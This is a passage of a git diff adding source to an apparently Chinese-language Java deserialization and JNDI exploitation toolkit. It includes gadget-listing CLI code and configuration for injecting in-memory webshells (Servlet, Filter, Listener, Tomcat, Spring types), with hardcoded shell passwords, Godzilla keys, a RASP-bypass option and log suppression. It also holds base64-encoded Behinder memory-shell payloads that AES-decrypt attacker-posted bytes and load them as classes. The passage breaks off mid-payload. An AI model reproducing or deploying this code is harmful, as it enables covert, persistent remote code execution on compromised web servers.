Strings.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = Strings.formatTable(rows); + + for (String line : lines) { + System.out.println(" " + line); + } + + System.exit(0); + } + + if (showVersion) { + System.out.println("" + + " ██╗███╗ ██╗██████╗ ██╗███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗\n" + + " ██║████╗ ██║██╔══██╗██║██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝\n" + + " ██║██╔██╗ ██║██║ ██║██║█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ \n" + + "██ ██║██║╚██╗██║██║ ██║██║██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ \n" + + "╚█████╔╝██║ ╚████║██████╔╝██║███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ \n" + + " ╚════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ \n" + + " "); + System.exit(0); + } + + //获取当前 Jar 的名称 + String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); + jc.setProgramName("java -jar JYso.jar"); + jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); + + if (help) { + jc.usage(); //if -h specified, show help and exit + System.exit(0); + } + + // 特别注意:最后一个反斜杠不能少啊 + Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; + } + + // 从HTTP外部获取路由值 + public static String ROUTE = ""; + + // 从HTTP外部获取参数值 + public static String BCEL1 = ""; + + // 恶意类是否继承 AbstractTranslet + public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; + + //是否使用反射绕过RASP + public static Boolean IS_OBSCURE = false; + + // 各种方式的内存马映射的路径 + public static String URL_PATTERN = "/qi4l"; + + // 是否使用落地文件的方式隐藏内存马 + public static Boolean HIDE_MEMORY_SHELL = false; + + // 是否生成内存马文件 + public static Boolean GEN_MEM_SHELL = false; + + // 内存马文件名 + public static String GEN_MEM_SHELL_FILENAME = ""; + + // 落地文件姿势,1 charsets.jar 2 classes + public static int HIDE_MEMORY_SHELL_TYPE = 0; + + // 内存马的密码 + public static String PASSWORD = "0f359740bd1cda99"; + + // Referer 校验 + public static String HEADER_KEY = "https://nu1r.cn/"; + + // 用于额外校验的 Http Header 值,默认值 https://nu1r.cn/ + public static String HEADER_VALUE = "https://nu1r.cn/"; + + // 哥斯拉的 key,默认是 key + public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; + + // 密码原文 + public static String PASSWORD_ORI = "p@ssw0rd"; + + // 命令执行回显时,传递执行命令的 Header 头 + public static String CMD_HEADER_STRING = "X-Token-Data"; + + //内存马的类型 + public static String Shell_Type = "bx"; + + //是否使用windows下Agent写入 + public static Boolean winAgent = false; + + //是否使用Linux下Agent写入 + public static Boolean linAgent = false; + + + // 是否在序列化数据流中的 TC_RESET 中填充脏数据 + public static Boolean IS_DIRTY_IN_TC_RESET = false; + + // 填充的脏数据长度 + public static int DIRTY_LENGTH_IN_TC_RESET = 0; + + // jboss + public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; + + // DefineClassFromParameter 的路径 + public static String PARAMETER = "dc"; + + // 将输入直接写在文件里 + public static String FILE = "out.ser"; + + public static Boolean WRITE_FILE = false; + + // 是否强制使用 org.apache.XXX.TemplatesImpl + public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; + + // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader + public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; + + // ScriptEngineManager 是否为 RHINO 引擎 + public static boolean USING_RHINO = false; + + public static ClassPool POOL = ClassPool.getDefault(); + + // 不同类型内存马的父类/接口与其关键参数的映射 + public static HashMap KEY_METHOD_MAP = new HashMap<>(); + + + public static void init() { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + } + + static { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + // Webflux 内存马 + KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload"); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java b/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java new file mode 100644 index 00000000..f24e88e8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets.Config; + +import java.util.ArrayList; + +public class HookPointConfig { + + public static ArrayList BasicServletHook = new ArrayList(); + + public static ArrayList TomcatFilterChainHook = new ArrayList(); + + + static { + BasicServletHook.add("javax.servlet.http.HttpServlet"); + BasicServletHook.add("service"); + BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + + TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain"); + TomcatFilterChainHook.add("doFilter"); + TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java new file mode 100644 index 00000000..5839e323 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java @@ -0,0 +1,136 @@ +package com.qi4l.jndi.gadgets.Config; + +public class MemShellPayloads { + public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_TOMCAT = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0Z